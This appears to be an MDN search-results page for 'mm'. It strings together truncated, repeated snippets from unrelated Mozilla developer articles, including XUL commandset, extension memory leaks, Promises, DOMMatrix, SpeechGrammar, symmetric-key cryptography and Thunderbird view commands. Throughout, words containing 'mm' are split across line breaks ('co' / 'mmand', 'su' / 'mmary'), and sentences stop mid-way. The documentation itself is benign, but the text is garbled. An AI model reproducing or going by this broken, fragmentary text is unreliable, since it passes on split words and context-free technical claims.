mmultiscripts> base (subscript superscript)* [ <mprescripts/> (presubscript presuperscript)* ] </
mmultiscripts> after the base expression you can specify a postsubscript and a postsuperscript. prescripts are optional and are separated by the empty tag <mprescripts/> (only one <mprescripts /> element is allowed, otherwise you will get an duplicatemprescripts error in the error console...
... the expression, as a css length. this property is deprecated and will be removed in the future. superscriptshift the minimum space by which to shift the superscript above the baseline of the expression, as a css length. this property is deprecated and will be removed in the future. ...
...And 3 more matches
Mozilla Web Developer Community - Archive of obsolete content
get news from developer.mozilla.org and connect with developers involved in cross-browser, standards-based web development. ...
...rom developer.mozilla.org and connect with developers involved in cross-browser, standards-based web development. ...
...s dom - mozilla.dev.tech.dom html - mozilla.dev.tech.html plugins - mozilla.dev.tech.plugins xml - mozilla.dev.tech.xml documentation - see mdc:co
mmunity more at http://www.mozilla.org/co
mmunity/dev...er-forums.html mozillazine forums mozilla news and development help mozilla (testing and development) mozdev.org mozillazine planet mozilla spread firefox standards co
mmunities get involved in grass-roots web standards evangelism efforts through these groups: the web standards project, a grassroots coalition fighting for standards maccaws, making a co
mmercial case for web standards a list apart, for people who make websites mozilla technology evangelism, get involved with mozilla evangelism you may also find helpful information on the w3c mailing lists news...
...And 2 more matches
commandset - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] this element is not displayed and serves as a container for co
mmand elements. in addition, this element can hold a co
mmand updater which is used to update co
mmands when certain events occur. a co
mmon use of the co
mmand updater is to update cut, copy, and paste menu items. more information is available in the xul tutorial. attributes co
mmandupdater, events, onco
mmandupdate, targets example <co
mmandset> <co
mmand id="cmd_open" onco
mmand="alert('open!');"/> <co
mmand id="cmd_help" onco
mmand="alert('help!');"/> </co
mmandset> attributes co
mmandupdater type: boolean if true, the co
mmandset is used for updating co
mmands. typically, this is used to update menu c...
...le in the xul tutorial. attributes co
mmandupdater, events, onco
mmandupdate, targets example <co
mmandset> <co
mmand id="cmd_open" onco
mmand="alert('open!');"/> <co
mmand id="cmd_help" onco
mmand="alert('help!');"/> </co
mmandset> attributes co
mmandupdater type: boolean if true, the co
mmandset is used for updating co
mmands. typically, this is used to update menu co
mmands such as undo and cut based on when an event occurs. for example, since the cut co
mmand is only valid when something is selected, a co
mmand updater might be used when the select event occurs. events type: co
mma-separated list a co
mma-separated list of event names that the co
mmand updater will update upon. if this attribute is not specified, or you set it to the value ...
...nd updater might be used when the select event occurs. events type: co
mma-separated list a co
mma-separated list of event names that the co
mmand updater will update upon. if this attribute is not specified, or you set it to the value '*', all events are valid. valid events are listed below, or you can use your own events. you can send a custom event by calling the updateco
mmands method of the co
mmand dispatcher. focus: occurs when the focused element changes. select: occurs when the selected text changed. clipboard: occurs when the clipboard is changed. undo: occurs when the undo buffer is changed. onco
mmandupdate type: script code this event occurs when a co
mmand update occurs. you would use this to upda...
...And 2 more matches
Common causes of memory leaks in extensions - Extensions
tension is disabled or removed. while bug 695480 should prevent most of these compartment leaks, add-ons still need to be aware of the practices that caused these leaks, as the fix causes many add-ons which would have otherwise caused a leak to instead throw errors when attempting to access nodes from documents which no longer exist. storing references to window objects and dom nodes the most co
mmon problem is extensions holding onto references to content windows for too long. for example, in xul overlay code: var contentwindows = []; function inbrowserxuloverlay(contentwindow) { // forgetting or failing to pop the content window thing again contentwindows.push(contentwindow); } this will keep the content window compartments alive until the browser window is closed. users often onl...
...unction main(window) { // this is a potential leak, as the window (e.g. browser.xul) will hold on to // the leakref function and the enclosing compartment via the listener. window.addeventlistener("leaky", leakref, true); // the following line still fails to avoid the leak, as usecapture differs // and removeeventlistener will not remove anything. // this kind of subtle bug is very co
mmon. // unload(function() window.removeeventlistener("leaky", leakref, false), window); // this is the right way to do it remove the listener. unload(function() window.removeeventlistener("leaky", leakref, true), window); } note: the unload() function is an external function which can be added in your add-on to easily provide a way to undo changes upon unloading of your add-on or a specifi...
...e), window); } note: the unload() function is an external function which can be added in your add-on to easily provide a way to undo changes upon unloading of your add-on or a specific part/object. it is part of edward lee's restartless boilerplate. causes of other kinds of leaks other than javascript compartments, add-ons may also leak entities that do not get a dedicated compartment, most co
mmonly chrome dom windows and javascript code modules. forgetting to unregister observers holding onto event observers for too long is another problem. observers that use strong references are a co
mmon cause of leaking whole chrome windows or javascript code modules; it is possible to leak content windows, too, but that is less co
mmon. consider the following example: var myobserver = { observ...
...And 2 more matches
Graceful asynchronous programming with Promises - Learn web development
ith a successful result, or to gracefully handle a failure case. generally, you are less interested in the amount of time an async operation will take to return its result (unless of course, it takes far too long!), and more interested in being able to respond to it being returned, whenever that is. and of course, it's nice that it doesn't block the rest of the code execution. one of the most co
mmon engagements you'll have with promises is with web apis that return a promise. let's consider a hypothetical video chat application. the application has a window with a list of the user's friends, and clicking on a button next to a user starts a video call to that user. that button's handler calls getusermedia() in order to get access to the user's camera and microphone. since getusermedia() ha...
... the user's camera and microphone. since getusermedia() has to ensure that the user has permission to use those devices and ask the user which microphone to use and which camera to use (or whether to be a voice-only call, among other possible options), it can block until not only all of those decisions are made, but also the camera and microphone have been engaged. also, the user may not respond i
mmediately to these permission requests. this can potentially take a long time. since the call to getusermedia() is made from the browser's main thread, the entire browser is blocked until getusermedia() returns! obviously, that's not an acceptable option; without promises, everything in the browser becomes unusable until the user decides what to do about the camera and microphone. so instead of wa...
...en takes each of the stream's tracks and adds them to the webrtc rtcpeerconnection representing a connection to another user. after that, the status display is updated to say "connected". if getusermedia() fails, the catch block runs. this uses setstatusmessage() to update the status box to indicate that an error occurred. the important thing here is that the getusermedia() call returns almost i
mmediately, even if the camera stream hasn't been obtained yet. even if the handlecallbutton() function has already returned to the code that called it, when getusermedia() has finished working, it calls the handler you provide. as long as the app doesn't assume that streaming has begun, it can just keep on running. note: you can learn more about this somewhat advanced topic, if you're interested,...
...And 2 more matches
DownloadSummary
method overview promise bindtolist(downloadlist alist); promise addview(object aview); promise removeview(object aview); properties attribute type description allhavestopped read only boolean indicates whether all the downloads are currently stopped. ...
...oads are currently in progress. progresscurrentbytes read only number number of bytes currently transferred as part of all the downloads that are currently in progress. this is zero if no downloads are currently in progress. methods bindtolist() this method may be called once to bind this object to a downloadlist. ...
...er number of bytes currently transferred as part of all the downloads that are currently in progress. this is zero if no downloads are currently in progress. methods bindtolist() this method may be called once to bind this object to a downloadlist. views on the su
mmarized data can be registered before this object is bound to an actual list. this allows the su
mmary to be used without requiring the initialization of the downloadlist first. note: this method is already called internally by the downloads.getsu
mmary() function. promise bindtolist( downloadlist alist ); parameters alist underlying downloadlist whose contents should be su
mmarized. promise resolves to undefined when the view on the underlying list has been registered. addv...
...And 2 more matches
nsIMicrosummaryObserver
toolkit/components/places/public/nsimicrosu
mmaryservice.idlscriptable this interface provides methods for observing changes to micru
mmaries. 1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) warning: microsu
mmary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void oncontentloaded(in nsimicrosu
mmary microsu
mmary); void onelementappended(in nsimicrosu
mmary microsu
mmary); void onerror(in nsimicrosu
mmary microsu
mmary); methods oncontentloaded() called when an observed microsu
mmary updates its content. ...
...ry support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void oncontentloaded(in nsimicrosu
mmary microsu
mmary); void onelementappended(in nsimicrosu
mmary microsu
mmary); void onerror(in nsimicrosu
mmary microsu
mmary); methods oncontentloaded() called when an observed microsu
mmary updates its content. since an observer might watch multiple microsu
mmaries at the same time, the microsu
mmary whose content has been updated gets passed to this handler. void oncontentloaded( in nsimicrosu
mmary microsu
mmary ); parameters microsu
mmary the microsu
mmary whose content has just been updated. ...
... observed microsu
mmary updates its content. since an observer might watch multiple microsu
mmaries at the same time, the microsu
mmary whose content has been updated gets passed to this handler. void oncontentloaded( in nsimicrosu
mmary microsu
mmary ); parameters microsu
mmary the microsu
mmary whose content has just been updated. onelementappended() called when an element is appended to a microsu
mmary set. void onelementappended( in nsimicrosu
mmary microsu
mmary ); parameters microsu
mmary the microsu
mmary that has just been appended to the set. onerror() called when an observed microsu
mmary encounters an error during an update. void onerror( in nsimicrosu
mmary microsu
mmary ); parameters microsu
mmary the microsumary which could not be updated. ...
...And 2 more matches
Comment - Web APIs
the co
mment interface represents textual notations within markup; although it is generally not visually shown, such co
mments are available to be read in the source view. co
mments are represented in html and xml as content between '<!--' and '-->'. in xml, the character sequence '--' cannot be used within a co
mment. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-siz...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="331" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">characterdata</text></a><polyline points="396,25 406,20 406,30 396,25" stroke="#d4dde4" fill="none"/><line x1="406" y1="25" x2="436" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/co
mment" target="_top"><rect x="436" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="473.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">co
mment</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no s...
...<text x="473.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">co
mment</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no specific property, but inherits those of its parent, characterdata, and indirectly those of node. constructor co
mment() returns a co
mment object with the parameter as its textual content. methods this interface has no specific method, but inherits those of its parent, characterdata, and indirectly those of node. specifications specification status co
mment domthe definition of 'co
mment' in that specification. living standard added the constructor. document object ...
...And 2 more matches
DOMMatrix() - Web APIs
the do
mmatrix constructor creates a new do
mmatrix object which represents 4x4 matrices, suitable for 2d and 3d operations.. syntax var do
mmatrix = new do
mmatrix([init]) parameters init optional a string containing a sequence of numbers or an array of numbers specifying the matrix you want to create, or a css transform string. example this example creates a do
mmatrix to use as an argument for calling point.matrixtransform(). ...
...it optional a string containing a sequence of numbers or an array of numbers specifying the matrix you want to create, or a css transform string. example this example creates a do
mmatrix to use as an argument for calling point.matrixtransform(). ...
... ...
...And 2 more matches
DOMMatrixReadOnly.scale() - Web APIs
scaley optional a multiplier for the scale value on the y-axis. if not supplied, this defaults to the value of scalex. scalez optional a multiplier for the scale value on the z-axis. if this value is anything other than 1, the resulting matrix will be 3d. originx optional an x-coordinate for the origin of the transformation. if no origin is supplied, this defaults to 0. ...
...ansformation. if no origin is supplied, this defaults to 0. originy optional a y-coordinate for the origin of the transformation. if no origin is supplied, this defaults to 0. originz optional a z-coordinate for the origin of the transformation. if no origin is supplied, this defaults to 0. if this value is anything other than 0, the resulting matrix will be 3d. return value returns a do
mmatrix containing a new matrix being the result of the matrix x and y dimensions being scaled by the given factor, centered on the origin given. the original matrix is not modified. if a scale is applied about the z-axis, the resulting matrix will be a 4x4 3d matrix. note: at time of writing, firefox still supports an older version of the specification that accepts either one or three values. d...
...trix containing a new matrix being the result of the matrix x and y dimensions being scaled by the given factor, centered on the origin given. the original matrix is not modified. if a scale is applied about the z-axis, the resulting matrix will be a 4x4 3d matrix. note: at time of writing, firefox still supports an older version of the specification that accepts either one or three values. do
mmatrix.scale(scale[, originx][, originy]) we'll show an example of how you can deal with the cross-browser support implications of this in the examples section, below. examples this svg contains three squares, one red, one blue, and one green, each positioned at the document origin: <svg width="250" height="250" viewbox="0 0 25 25"> <rect width="25" height="25" fill="red" /> <rect id="tran...
...And 2 more matches
DOMMatrixReadOnly.translate() - Web APIs
the translate() method of the do
mmatrixreadonly interface creates a new matrix being the result of the original matrix with a translation applied. syntax the translate() method accepts two or three values. do
mmatrix.translate(translatex, translatey[, translatez]) parameters translatex a number representing the abscissa (x-coordinate) of the translating vector. translatey a number representing the ordinate (y-coordinate) of the translating vector. translatez optional a number representing the z component of the translating vector. if not supplied, this defaults to 0. if this is anything other than 0, the resulting matrix will be 3d. return value returns a do
mmatrix containing a new matrix being the result of the matrix being translated by the given vector. the original mat...
...="250" height="250" viewbox="0 0 50 50"> <rect width="25" height="25" fill="red" /> <rect id="transformed" width="25" height="25" fill="blue" /> </svg> the following javascript first creates an identity matrix, then uses the translate() method to create a new, translated matrix — which is then applied to the blue square as a transform. the red square is left in place. ...
...ntity matrix, then uses the translate() method to create a new, translated matrix — which is then applied to the blue square as a transform. the red square is left in place. ...
...And 2 more matches
Document.queryCommandSupported() - Web APIs
the document.queryco
mmandsupported() method reports whether or not the specified editor co
mmand is supported by the browser. syntax issupported = document.queryco
mmandsupported(co
mmand); parameters co
mmand the co
mmand for which to determine support. return value returns a boolean which is true if the co
mmand is supported and false if the co
mmand isn't. ...
... the document.queryco
mmandsupported() method reports whether or not the specified editor co
mmand is supported by the browser. syntax issupported = document.queryco
mmandsupported(co
mmand); parameters co
mmand the co
mmand for which to determine support. return value returns a boolean which is true if the co
mmand is supported and false if the co
mmand isn't. ...
...ted(co
mmand); parameters co
mmand the co
mmand for which to determine support. return value returns a boolean which is true if the co
mmand is supported and false if the co
mmand isn't. ...
...And 2 more matches
SpeechGrammar - Web APIs
the speechgra
mmar interface of the web speech api represents a set of words or patterns of words that we want the recognition service to recognize. gra
mmar is defined using jspeech gra
mmar format (jsgf.) other formats may also be supported in the future. constructor speechgra
mmar.speechgra
mmar() creates a new speechgra
mmar object. properties speechgra
mmar.src sets and returns a string containing the gra
mmar from within in the speechgra
mmar object instance. speechgra
mmar.weight optional sets and returns the weight of the speechgra
mmar object. ...
... gra
mmar format (jsgf.) other formats may also be supported in the future. constructor speechgra
mmar.speechgra
mmar() creates a new speechgra
mmar object. properties speechgra
mmar.src sets and returns a string containing the gra
mmar from within in the speechgra
mmar object instance. speechgra
mmar.weight optional sets and returns the weight of the speechgra
mmar object. ...
... other formats may also be supported in the future. constructor speechgra
mmar.speechgra
mmar() creates a new speechgra
mmar object. properties speechgra
mmar.src sets and returns a string containing the gra
mmar from within in the speechgra
mmar object instance. speechgra
mmar.weight optional sets and returns the weight of the speechgra
mmar object. ...
...And 2 more matches
Window.updateCommands() - Web APIs
specification dom level 0. not part of specification. browser compatibility the compatibility table in this page is generated from structured data. ...
... specification dom level 0. not part of specification. browser compatibility the compatibility table in this page is generated from structured data. ...
... specification dom level 0. not part of specification. browser compatibility the compatibility table in this page is generated from structured data. ...
...And 2 more matches
Useful Mozilla Community Sites - Archive of obsolete content
it's a very powerful tool you have when developing on top of the mozilla platform, and you should take advantage of it in order to create a truly successful add-on . amo amo (mozilla add-ons) is the official mozilla repository for add-ons. it allows you to upload, search and download all types of add-ons for mozilla applications. this is the best way to get your extension to users from all around the world. adding your extension to amo is easy. all you need is your xpi, a few screenshots (good ones will make your extension much more appealing), and a few minutes to fill a couple of forms. but this won't make your extension public right away. ...
.... one of the main advantages of using amo is that it handles updates automatically for published add-ons. you just need to upload a new version of your extension, and once it's approved it will be pushed as an update to all your users. if you decide to host your own extension, you'll have to learn about the update system in order to push your own updates. babelzilla babelzilla is a worldwide co
mmunity of localizers. developers submit their extensions using the web translation system (wts) and volunteers around the world translate them to different languages. the co
mmunity is very active, and you can be sure to get translations for the most co
mmonly used languages within a few days of submitting your extension. you'll also receive feedback that you wouldn't notice by testing only in one la...
...eveal other bugs in your locale handling. there's a significant portion of users that use a localized version of firefox, so you shouldn't neglect them. using babelzilla takes little time and is very valuable. mozdev mozdev.org provides free project hosting and software development tools for mozilla applications and add-ons. it is the only hosting service tailored to the needs of the mozilla co
mmunity. it offers many necessary services such as bug tracking, source code repositories, download mirrors and many co
mmunication tools. there are other free hosting sites such as souceforge and google code that are also very good, but not as specialized as mozdev. you should pick the one that best fits your development needs. conclusion that's it! this is the end of the xul school tutorial. ho...
... are other free hosting sites such as souceforge and google code that are also very good, but not as specialized as mozdev. you should pick the one that best fits your development needs. conclusion that's it! this is the end of the xul school tutorial. hopefully this guide has helped you get started with add-on development and you're on your way to joining the large mozilla add-ons developer co
mmunity. the sheer volume of material can be overwhelming, but you can always come back and use this tutorial as a reference for your future development. now all you need is a good idea (in case you didn't have one already) and get started. happy coding! « previous this tutorial was kindly donated to mozilla by appcoast. ...
oncommand - Archive of obsolete content
« xul reference home onco
mmand type: script code this event handler is called when the co
mmand is activated. this occurs when a user selects a menu item or presses a keyboard shortcut attached to the co
mmand. ...
... « xul reference home onco
mmand type: script code this event handler is called when the co
mmand is activated. this occurs when a user selects a menu item or presses a keyboard shortcut attached to the co
mmand. ...
... « xul reference home onco
mmand type: script code this event handler is called when the co
mmand is activated. this occurs when a user selects a menu item or presses a keyboard shortcut attached to the co
mmand. ...
...nu item or presses a keyboard shortcut attached to the co
mmand. ...
command - Archive of obsolete content
the co
mmand event is executed when an element is activated. how it is activated varies for each element and in many cases, there are several ways to activate an element. for example, a button can be activated by clicking on it with the mouse or by pressing space while it has the focus. menus can be activated by selecting them with the mouse or by pressing a shortcut key. co
mmand elements can be activated by any of their observing elements being activated. the co
mmand event should always be used instead of the click event because it will be called in all of the needed cases. ...
...e mouse or by pressing space while it has the focus. menus can be activated by selecting them with the mouse or by pressing a shortcut key. co
mmand elements can be activated by any of their observing elements being activated. the co
mmand event should always be used instead of the click event because it will be called in all of the needed cases. general info specification xul interface xulco
mmandevent bubbles yes cancelable yes target element default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not cancelabl...
...ubbles read only boolean whether the event normally bubbles or not cancelable read only boolean whether the event is cancellable or not? view read only windowproxy document.defaultview (window of the document) detail read only long (float) unused; always zero. sourceevent read only event the activation event that caused this co
mmand event to be generated. currently only set when a co
mmand event is redirected though use of the co
mmand attribute. ctrlkey read only boolean true if the control key was down when the event was fired. false otherwise. shiftkey read only boolean true if the shift key was down when the event was fired. false otherwise. altkey read only boolean true i...
...s fired. false otherwise. ...
Why Well-Formed Web RSS Module is Popular - Syndicating Your Comments - Archive of obsolete content
there aren't many blogs out there that don't allow co
mmenting of blog posts. however, rss does not provide sufficient facilities for dealing with them. sure rss has the <co
mments> element, but it points to a html page that isn't machine readable. it is desirable to be able to deal with co
mments in the same way one deals with rss feeds; through syndication. the rss well-formed web module exists to fill this gap. ...
...it points to a html page that isn't machine readable. it is desirable to be able to deal with co
mments in the same way one deals with rss feeds; through syndication. the rss well-formed web module exists to fill this gap. ...
...xample</title> <description>an rss example with wfw</description> <lastbuilddate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate> <link>http://www.example.com</link> <item> <title>i like root beer</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:article:54321</guid> <pubdate>sun, 15 may 2005 13:02:08 -0500</pubdate> <link>http://www.example.com/article/54321</link> <wfw:co
mmentrss>http://www.example.com/feed/rss/54321/co
mments</wfw:co
mmentrss> </item> <item> <title>rain is wet</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:article:54320</guid> <pubdate>sun, 15 may 2005 10:55:12 -0500</pubdate> <link>http://www.example.com/article/54320</link> <wfw:co
mmentrss>http://www.example.com/feed/rss/54320/co
mments</wfw:co
mmentrss> </item> <item> ...
...5 may 2005 10:55:12 -0500</pubdate> <link>http://www.example.com/article/54320</link> <wfw:co
mmentrss>http://www.example.com/feed/rss/54320/co
mments</wfw:co
mmentrss> </item> <item> <title>huh?!</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:article:54319</guid> <pubdate>sun, 15 may 2005 08:14:11 -0500</pubdate> <link>http://www.example.com/article/54319</link> <wfw:co
mmentrss>http://www.example.com/feed/rss/54319/co
mments</wfw:co
mmentrss> </item> </channel> </rss> the <wfw:co
mmentrss> element is the reason that the well-formed web rss module is popular. this element lets you syndicate your co
mments. the uri in the <wfw:co
mmentrss> element must point to an rss feed containing the co
mments for the <item> it is contained in. ...
Common Firefox theme issues and solutions - Archive of obsolete content
this document was started on july 27, 2012 so it will take some time to completely fill in and some issues still need to have solutions written for them. operating system specific issues windows 7 windows 7 aero missing right-hand title bar buttons when tabs are on top and the menu bar is disabled, firefox is missing the min/max/restore/close button on the right side of the title bar. ...
...them to the folder chrome://browser/skin/lion/: keyhole-circle.png toolbar.png toolbarbutton-dropmarker.png tabbrowser/alltabs-box-bkgnd-icon.png tabview/tabview.png places/toolbar.png linux linux select box fields are showing both drop arrow and spinner arrows on linux: the styling of drop down select box fields may show both a drop arrow and up/down spinner arrows. the problem is co
mmonly caused by a -moz-appearance:menulist style rule in chrome://global/skin/menulist.css. once the offending rule is found, it should be deleted and manual styling used. app button not styled on linux, but is styled on windows on linux the firefox app button that is displayed when tabs are on top and menu bar is disabled is not styled properly compared to windows and is not changing colors when...
...on button doesn't change styling for private browsing mode when in private browsing mode there needs to be a visual difference to the firefox app button that is displayed when tabs are on top and the menu bar is disabled. text only toolbar buttons not aligned properly when text only toolbar buttons are selected in customize toolbars, text labels in toolbar buttons may not align properly. the co
mmon cause of this is style rules that reference [iconsize="small"] without excluding [mode="text"]. the solution usually is to append :not ([mode="text"]) to those style rules. for instance use toolbar[iconsize="small"]:not ([mode="text"]). a little experimenting may be required to fully address this issue with your theme. address bar identity box is missing padlock icons for secure sites in fir...
...ates to amo. this is document is a work in progress so feedback and/or suggestions is appreciated. mdn css reference mozilla's developer network maintains a great css reference. amo themes forum we'd like to encourage you to participate in the amo (addons.mozilla.org) forums theme forum. mozillazine themes forum mozillazine is not an official mozilla website, but it does have the largest co
mmunity of firefox theme developers and is a great resource. their theme development forum is here. mozillazine firefox nightly theme changes thread mozillazine's firefox nightly theme changes thread is a great resource for keeping up to date with the latest changes to the firefox ui and contains links to the bugzilla bug reports, which detail what changes were made. ...
Symmetric-key cryptography - MDN Web Docs Glossary: Definitions of Web-related terms
the size of each block is fixed and determined by the algorithm: for example aes uses 16-byte blocks. ...
...the size of each block is fixed and determined by the algorithm: for example aes uses 16-byte blocks. ...
...the size of each block is fixed and determined by the algorithm: for example aes uses 16-byte blocks. ...
...c key" or a "secret key". this is usually contrasted with public-key cryptography, in which keys are generated in pairs and the transformation made by one key can only be reversed using the other key. sy
mmetric-key algorithms should be secure when used properly and are highly efficient, so they can be used to encrypt large amounts of data without having a negative effect on performance. most sy
mmetric-key algorithms currently in use are block ciphers: this means that they encrypt data one block at a time. the size of each block is fixed and determined by the algorithm: for example aes uses 16-byte blocks. block ciphers are always used with a mode, which specifies how to securely encrypt messages that are longer than the block size. for example, aes is a cipher, while ctr, cbc, and gcm are...
Use CSS to solve common problems - Learn web development
the following links provide solutions to co
mmon problems you may face when working with css. ...
... the following links provide solutions to co
mmon problems you may face when working with css. ...
... the following links provide solutions to co
mmon problems you may face when working with css. ...
...drawn under how do i define inline, block, and inline-block? how to create fancy boxes (also see the styling boxes module, generally). how to use background-clip to control how much of the box your background image covers. how to change the box model completely using box-sizing how to control backgrounds how to control borders how to style an html table how to add shadows to boxes unco
mmon and advanced techniques css allows some advanced design techniques. these articles help demystify some of the more complicated use cases. general how to calculate specificity of a css selector how to control inheritance in css advanced effects how to use filters in css how to use blend modes in css layout using css flexible boxes using css multi-column layouts using css gener...
Typesetting a community school homepage - Learn web development
you might just have some fun along the way. prerequisites: before attempting this assessment you should have already worked through all the articles in this module. objective: to test comprehension of css text styling techniques. ...
...use this url to point the background image. if the online editor you are using doesn't have a separate css panel, feel free to put it in a <style> element in the head of the document. note: if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. project brief you have been provided with some raw html for the homepage of an imaginary co
mmunity college, plus some css that styles the page into a three column layout and provides some other rudimentary styling. you are to write your css additions below the co
mment at the bottom of the css file, to make sure it is easy to mark the bits you have done. don't worry if some of the selectors are repetitious; we'll let you off in this instance. fonts: first of all, download a couple of f...
... look like: assessment or further help if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for typesetting a co
mmunity school homepage". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into — it's very hard to help someone with a coding problem if you can't see their...
...tioned in step 1 above). ...
JS_MakeStringImmutable
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. s jsstring * the string to operate on. s must not be null. ...
... description a string's characters can never be changed, but spidermonkey uses two string optimization techniques behind the scenes: a growable string (see js_newgrowablestring ) has a buffer that the javascript engine can reallocate so that concatenating it with another string is much faster. a dependent string (see js_newdependentstring) is a substring of another (growable, dependent, or i
mmutable) string. in memory it is represented as a pointer to the other string and a pair of integers for the substring's starting point and length, rather than as a separate copy of all the characters. this makes the substring operation, and regular expression matches, faster. in both cases, the javascript engine may change the fields of the jsstring. these changes are not atomic. therefore such s...
...ers for the substring's starting point and length, rather than as a separate copy of all the characters. this makes the substring operation, and regular expression matches, faster. in both cases, the javascript engine may change the fields of the jsstring. these changes are not atomic. therefore such strings must not be used by more than one thread at a time. ...
...d at a time. applications must call js_makestringi
mmutable before sharing a jsstring among threads by storing it in a c/c++ variable, field, or array element that another thread can read. (when an application shares a string by storing it in a javascript object that another thread can read, the javascript engine automatically makes the string thread-safe.) after a successful call to js_makestringi
mmutable, subsequent calls to js_getstringcharsz on the same string are guaranteed to succeed, and subsequent calls to js_getstringchars on the same string are guaranteed to return a null-terminated string. see also bug 1115986 ...
The Rust programming language
rust is a new open-source systems progra
mming language created by mozilla and a co
mmunity of volunteers, designed to help developers create fast, secure applications which take full advantage of the powerful features of modern multi-core processors. it prevents segmentation faults and guarantees thread safety, all with an easy-to-learn syntax. in addition, rust offers zero-cost abstractions, move semantics, guaranteed memory safety, threads with no data races, trait-based generics, pattern matching, type inference, and efficient c bindings, with a minimum runtime size. to learn more about rust, you can: watch the videos below for a closer look at the power and benefits rust provides. read the book the rust progra
mming language online. download the rust compiler, check out exam...
...nd efficient c bindings, with a minimum runtime size. to learn more about rust, you can: watch the videos below for a closer look at the power and benefits rust provides. read the book the rust progra
mming language online. download the rust compiler, check out examples, and learn everything you could possibly wish to know at the rust official web site. ...
...videos below for a closer look at the power and benefits rust provides. read the book the rust progra
mming language online. download the rust compiler, check out examples, and learn everything you could possibly wish to know at the rust official web site. ...
...power and benefits rust provides. read the book the rust progra
mming language online. download the rust compiler, check out examples, and learn everything you could possibly wish to know at the rust official web site. ...
nsMsgViewCommandType
last changed in gecko 1.9 (firefox 3) constants name value description markmessagesread 0 marks the selected messages as read. markmessagesunread 1 mark the selected messages as unread togglemessageread 2 toggle the read flag of the selected messages flagmessages 3 flag the selected messages. unflagmessages 4 unflag the selected messages. ...
...he selected thread. deletemsg 7 move the selected message to the accounts trash. deletenotrash 8 delete the selected message. markthreadread 9 mark all messages in a thread as read. markallread 10 mark all messages currently shown as read expandall 11 expand all threads. collapseall 12 collapse all threads. copymessages 13 copy the selected messages. use with nsimsgdbview.doco
mmandwithfolder() to select the destination folder. movemessages 14 move the selected messages. use with nsimsgdbview.doco
mmandwithfolder() to select the destination folder. selectall 15 select all messages. downloadselectedforoffline 16 download the selected messages for offline. downloadflaggedforoffline 17 download all flagged messages for offline. selectthread 18 select the entire...
...reload or print preview) are available. label0 21 attach a label to the selected messages. label1 22 attach a label to the selected messages. label2 23 attach a label to the selected messages. label3 24 attach a label to the selected messages. label4 25 attach a label to the selected messages. ...
...select the destination folder. selectall 15 select all messages. downloadselectedforoffline 16 download the selected messages for offline. downloadflaggedforoffline 17 download all flagged messages for offline. selectthread 18 select the entire thread. selectflagged 19 select all flagged messages. cmdrequiringmsgbody 20 used with nsimsgdbview.getco
mmandstatus() to determine if co
mmands requiring the message body (i.e. reload or print preview) are available. label0 21 attach a label to the selected messages. label1 22 attach a label to the selected messages. label2 23 attach a label to the selected messages. label3 24 attach a label to the selected messages. label4 25 attach a label to the selected messages. label5 26 attach a label to the selected messages...
Document.queryCommandState() - Web APIs
the queryco
mmandstate() method will tell you if the current selection has a certain document.execco
mmand() co
mmand applied. syntax queryco
mmandstate(string co
mmand) parameters co
mmand is a co
mmand from document.execco
mmand() return value queryco
mmandstate() can return a boolean value or null if the state is unknown. ...
...ction has a certain document.execco
mmand() co
mmand applied. syntax queryco
mmandstate(string co
mmand) parameters co
mmand is a co
mmand from document.execco
mmand() return value queryco
mmandstate() can return a boolean value or null if the state is unknown. ...
...state(string co
mmand) parameters co
mmand is a co
mmand from document.execco
mmand() return value queryco
mmandstate() can return a boolean value or null if the state is unknown. ...
...>test the state of the 'bold' co
mmand</button> javascript function makebold() { var state = document.queryco
mmandstate("bold"); switch (state) { case true: alert("the bold formatting will be removed from the selected text."); break; case false: alert("the selected text will be displayed in bold."); break; case null: alert("the state of the 'bold' co
mmand is indeterminable."); break; } document.execco
mmand('bold'); } result specifications specification status co
mment execco
mmand ...
HTMLTableElement.summary - Web APIs
the htmltableelement.su
mmary property represents the table description. ...
... the htmltableelement.su
mmary property represents the table description. ...
... the htmltableelement.su
mmary property represents the table description. ...
... the htmltableelement.su
mmary property represents the table description. ...
Range.commonAncestorContainer - Web APIs
the range.co
mmonancestorcontainer read-only property returns the deepest — or furthest down the document tree — node that contains both boundary points of the range. this means that if range.startcontainer and range.endcontainer both refer to the same node, this node is the co
